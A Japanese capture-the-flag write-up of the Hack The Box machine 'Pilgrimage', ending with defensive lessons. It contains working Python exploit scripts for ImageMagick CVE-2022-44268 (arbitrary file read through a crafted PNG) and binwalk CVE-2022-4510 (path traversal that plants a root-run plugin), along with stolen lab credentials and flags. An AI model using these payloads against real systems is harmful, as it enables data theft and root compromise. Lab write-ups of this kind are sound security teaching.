Hack The BoxのWriteup(Pilgrimage)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Pilgrimage — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(nginx)
→
アカウント登録 & ログイン
画像シュリンクアプリ
→
CVE-2022-44268 tEXt profile LFI
悪意PNGアップロード
→
SQLite DB窃取・解析
emily:abigchonkyboi123
→
SSH emily
user.txt ✓
→
malwarescan.sh root稼働
binwalk 2.3.2 (脆弱)
→
CVE-2022-4510 PFSトラバーサル
binwalk pluginをroot植付け
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & サイト確認

BASH
nmap -sV -sC -p 22,80 10.129.92.123
echo "10.129.92.123 pilgrimage.htb" | sudo tee -a /etc/hosts
curl -s http://pilgrimage.htb/ | grep title
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh
80/tcp open  http    nginx

<title>Pilgrimage - Shrink Your Images</title>
ℹ️
画像をアップロードするとファイルサイズを圧縮してくれるPHP製Webアプリ。 login.php/register.phpがあり、アカウント登録後に /へPOSTで画像アップロードできる仕組み。
PHASE 2

CVE-2022-44268: ImageMagick 任意ファイル読み取り

脆弱性の概要

NOTE
ImageMagick 7.1.0-49未満は、PNG画像の "tEXt" テキストチャンクに
キーワード "profile" を指定した場合、その値をICCカラープロファイルの
ファイルパスとして解釈し、変換処理の中でそのファイルの内容を
"Raw profile" として出力PNGに埋め込んでしまう脆弱性がある。
つまり画像変換(今回は「シュリンク」)を行わせるだけで、
サーバー上の任意ファイルの中身を出力画像に混入させられる。

アカウント登録・ログインしてセッションCookieを取得

BASH
curl -s -c cookies.txt -b cookies.txt -X POST \
  -F "username=pwn3r2025" -F "password=Pwn3r2025!" \
  http://pilgrimage.htb/register.php -D - -L -o /dev/null

curl -s -c cookies.txt -b cookies.txt -X POST \
  -F "username=pwn3r2025" -F "password=Pwn3r2025!" \
  http://pilgrimage.htb/login.php -D - -L -o /dev/null
RESULT
HTTP/1.1 302 Found
Location: /dashboard.php

tEXt profileチャンクを仕込んだ悪意PNGを作成

PYTHON
import struct, zlib

def make_chunk(ctype, data):
    return (struct.pack('>I', len(data)) + ctype + data
            + struct.pack('>I', zlib.crc32(ctype+data) & 0xffffffff))

sig  = b'\x89PNG\r\n\x1a\n'
ihdr = make_chunk(b'IHDR', struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0))
target = b'/var/db/pilgrimage'                       # 読みたいファイル
text = make_chunk(b'tEXt', b'profile\x00' + target)  # キーワード=profile が鍵
idat = make_chunk(b'IDAT', zlib.compress(b'\x00\xff\xff\xff'))
iend = make_chunk(b'IEND', b'')

open('mal_db.png','wb').write(sig + ihdr + text + idat + iend)
ℹ️
読み取り対象として、このアプリのSQLiteデータベースの実体パス /var/db/pilgrimageを指定する(アプリ名から命名規則を推測)。

PNGをアップロードし処理結果を取得

BASH
curl -s -b cookies.txt -F "toConvert=@mal_db.png;type=image/png" \
  http://pilgrimage.htb/ -D - -o /dev/null | grep -i location
RESULT
Location: /?message=http://pilgrimage.htb/shrunk/6ae2907a90645.png&status=success
BASH (処理後の画像をダウンロード)
curl -s -b cookies.txt "http://pilgrimage.htb/shrunk/6ae2907a90645.png" -o shrunk_db.png
PHASE 3

処理後PNGからSQLite DBを抽出し資格情報を窃取

identify -verbose でRaw profileデータを確認

BASH
identify -verbose shrunk_db.png | grep -A5 "Raw profile"
RESULT
Raw profile type:

   20480
53514c69746520666f726d617420330010000101004020200000003d0000000500000000
...
✅
先頭バイト列53514c69746520666f726d61742033を16進→ASCII変換すると “SQLite format 3″になる。つまり/var/db/pilgrimageの内容が SQLiteデータベースファイルそのものであり、LFIが確実に成功している。

16進文字列をパースしてSQLiteファイルを復元

PYTHON
import re
content = open('ident_full.txt').read()
idx = content.find("Raw profile type:")
rest = content[idx:].split('\n')
hex_lines, found_size = [], False
for line in rest[1:]:
    s = line.strip()
    if not s:
        if found_size and hex_lines: break
        continue
    if not found_size and s.isdigit():
        found_size = True; continue
    if found_size:
        if re.match(r'^[0-9a-fA-F]+$', s):
            hex_lines.append(s)
        elif hex_lines:
            break
data = bytes.fromhex(''.join(hex_lines))
open('pilgrimage.db','wb').write(data)
BASH (確認)
file pilgrimage.db
RESULT
pilgrimage.db: SQLite 3.x database, last written using SQLite version 3034001, ...

usersテーブルを照会して資格情報を取得

BASH
sqlite3 pilgrimage.db "SELECT * FROM users;"
RESULT
emily|abigchonkyboi123
pwn3r2025|Pwn3r2025!   (自分で作成したテストアカウント)
🚨
平文パスワードがDBにそのまま保存されている(ハッシュ化されていない)。 emilyというユーザー名は/etc/passwdにもOSアカウントとして 存在する可能性が高く、資格情報使い回しを試す価値がある。
PHASE 4

SSHログイン & user.txt取得

emilyとしてSSHログイン

BASH
sshpass -p 'abigchonkyboi123' ssh emily@10.129.92.123 \
  "id; cat /home/emily/user.txt"
RESULT
uid=1000(emily) gid=1000(emily) groups=1000(emily)
bef1e1900236ed83557f49f1c08f1af2
user.txt — emily
bef1e1900236ed83557f49f1c08f1af2
PHASE 5

root稼働のマルウェアスキャナーとbinwalkのバージョンを確認

malwarescan.sh の中身と稼働形態を確認

BASH
emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh
emily@pilgrimage:~$ cat /etc/systemd/system/malwarescan.service
RESULT
#!/bin/bash
blacklist=("Executable script" "Microsoft executable")
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
    filename="/var/www/pilgrimage.htb/shrunk/$(... sed 抽出 ...)"
    binout="$(/usr/local/bin/binwalk -e "$filename")"
    ...
done

[Service]
User=root
WorkingDirectory=/root/quarantine
ExecStart=/usr/sbin/malwarescan.sh
🚨
shrunk/ディレクトリに新しいファイルが作成されるたびに、 root権限で動くsystemdサービスが自動的にbinwalk -e(埋め込みファイル 抽出)を実行している。つまり画像をアップロードするだけで、 root権限でbinwalkに処理させられる。

binwalkのバージョン確認

BASH
emily@pilgrimage:~$ binwalk --help | head -3
RESULT
Binwalk v2.3.2
🚨
binwalk 2.3.2はCVE-2022-4510(PFSファイルシステム抽出時の パストラバーサル脆弱性)の対象バージョン。
PHASE 6

CVE-2022-4510: binwalk PFS抽出のパストラバーサル & root.txt

脆弱性の概要

NOTE
binwalk は様々なファームウェアフォーマットを検出・展開できるが、
PFS(Plan 9由来の単純なファイルシステムイメージ形式)の抽出処理が、
ファイル内に記録されたパス文字列を十分に検証していない。
抽出先ディレクトリ(out_dir)との結合前に path.startswith(out_dir) を
チェックしているが、結合後にOSがパス文字列中の "../" を解決してしまうため、
"out_dir配下のサブディレクトリ名 + 大量の../ + 絶対パス" という形式の
エントリ名を使えば、このチェックを回避して任意の場所にファイルを書き込める。

悪意あるPFSエントリを含むPNGを作成

PYTHON
import struct, zlib

# binwalkが起動時にロードするプラグイン(root権限で実行される)
plugin_code = (
    'import subprocess, os\n'
    'try:\n'
    '    subprocess.call(["cp","/root/root.txt","/tmp/.rf"])\n'
    '    os.chmod("/tmp/.rf", 0o644)\n'
    'except Exception:\n'
    '    pass\n'
).encode()

# out_dir は "/_.extracted/pfs-root" (7階層分深い)
# → pfs-root/ + 7×../ でファイルシステムルートへ到達
traversal_str = 'pfs-root/../../../../../../../root/.config/binwalk/plugins/exploit.py'
traversal_bytes = traversal_str.encode()

fname_len = len(traversal_bytes) + 1   # 文字列 + NULL終端
inode_no  = 1                          # 非ゼロ必須(パーサーがNULLを辿るため)
fsize     = len(plugin_code)

# PFSヘッダ(16バイト): magic(8) + padding(6) + num_files(2byte LE)
pfs_header = b'PFS/0.9\n' + b'\x00'*6 + struct.pack('<H', 1)
# エントリ: path\0 + inode_no(4LE) + foffset(4LE) + fsize(4LE)
entry = (traversal_bytes + b'\x00'
         + struct.pack('<I', inode_no)
         + struct.pack('<I', 0)           # foffset
         + struct.pack('<I', fsize))
pfs = pfs_header + entry + plugin_code

# 通常の10x10白PNGの"後ろ"にPFSデータを連結(ポリグロット)
# binwalkはファイル境界を気にせず埋め込みデータを走査するため有効
png = ...  # 通常のPNGバイト列
open('bw_exploit.png','wb').write(png + pfs)
ℹ️
PFSヘッダのファイル数フィールドは2バイトLE(4バイトではない) である点に注意。またinode_noは非ゼロでなければならない(パーサーの 実装がファイル名長を調べる際にNULL終端まで辿る挙動依存のため)。

エクスプロイトPNGをアップロードしプラグインを植え付け

BASH
sshpass -p 'abigchonkyboi123' scp bw_exploit.png \
  emily@10.129.92.123:/var/www/pilgrimage.htb/shrunk/ex.png
# inotifywait + binwalk -e の発火を待つ
sleep 15
sshpass -p 'abigchonkyboi123' ssh emily@10.129.92.123 \
  "ls -la /root/.config/binwalk/plugins/"
RESULT
cannot access '/root/.config/binwalk/plugins/': Permission denied
ℹ️
「No such file or directory」ではなく「Permission denied」 であることがポイント — これはディレクトリ自体は既に作成されている (トラバーサルによるファイル書き込みが成功した)が、/root配下なので emilyからは中を覗けない、ということを意味する。

トリガーPNGをアップロードしbinwalkを再度起動 → プラグイン発火

BASH
sshpass -p 'abigchonkyboi123' scp trigger.png \
  emily@10.129.92.123:/var/www/pilgrimage.htb/shrunk/trigger.png
sleep 20
sshpass -p 'abigchonkyboi123' ssh emily@10.129.92.123 "cat /tmp/.rf"
RESULT
3b78dbd2683a888ad5c8548afb33b605
✅
通常の画像をアップロードしただけで、malwarescan.shがまた binwalkを起動 → binwalkが起動時に自分のプラグインディレクトリを スキャンして植え付けたPythonコードをロード・実行 → root権限で /root/root.txtを/tmp/.rfにコピーした。
root.txt — root (binwalk PFSトラバーサル経由)
3b78dbd2683a888ad5c8548afb33b605
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — emily
bef1e1900236ed83557f49f1c08f1af2
root.txt — root
3b78dbd2683a888ad5c8548afb33b605

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2022-44268 (ImageMagick 任意ファイル読み取り) ImageMagick < 7.1.0-49 (画像シュリンク処理) サーバー上の任意ファイル読み取り Critical PNGのtEXtチャンクにkeyword=”profile”を仕込み、変換後の画像にファイル内容を埋め込ませる
平文パスワードの保存 + 資格情報使い回し アプリDB(/var/db/pilgrimage)とOSアカウント SSH資格情報の漏洩 High 窃取したSQLite DBのusersテーブルから平文パスワードを取得、OSログインにも有効
CVE-2022-4510 (binwalk 2.3.2 PFSパストラバーサル) binwalk -e によるPFSファイルシステム抽出 任意パスへのファイル書込み(root権限) Critical 抽出先ディレクトリ名をパス先頭に含めつつ大量の../で脱出し、binwalkプラグインとして任意Pythonコードを配置
root権限の自動処理が信頼できない入力(アップロードファイル)を無条件処理 malwarescan.sh (inotifywait + binwalk -e) 権限昇格のトリガー High 一般ユーザーがアップロードできる画像ファイルを、root権限のプロセスが無条件に処理してしまう設計

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + vhost追加22(SSH)/80(nginx pilgrimage.htb)
2LFIImageMagick tEXt profile注入SQLite DB (/var/db/pilgrimage) の中身
3資格情報窃取PNG→hex抽出→SQLite解析emily:abigchonkyboi123
4フットホールドSSHuser.txt(emily)
5権限調査malwarescan.sh・binwalkバージョン確認root稼働の自動binwalk実行を発見
6権限昇格PFSパストラバーサル + plugin植付けroot.txt

学んだ教訓 & 防御策

問題点防御策
既知CVEを含む古いバージョンのImageMagickを使用 画像処理ライブラリは定期的に更新し、CVEデータベースと照合する。信頼できない画像入力はサンドボックス化された環境で処理する。
アプリのデータベースに平文パスワードを保存 パスワードは必ずbcrypt等の適切なハッシュ関数で保存し、平文のまま扱わない。
サービス間でパスワードを使い回している Webアプリの資格情報とOSアカウントの資格情報を分離し、使い回しを禁止する。
root権限の自動処理プロセスが、一般ユーザーがアップロード可能なファイルを無条件に解析ツール(binwalk)へ渡している root権限で動くマルウェアスキャン等の自動処理は、専用の低権限サンドボックス内で実行する。使用する解析ツール自体も既知脆弱性が無いか継続的に監視・更新する。
HackTheBox: Pilgrimage | 完全攻略レポート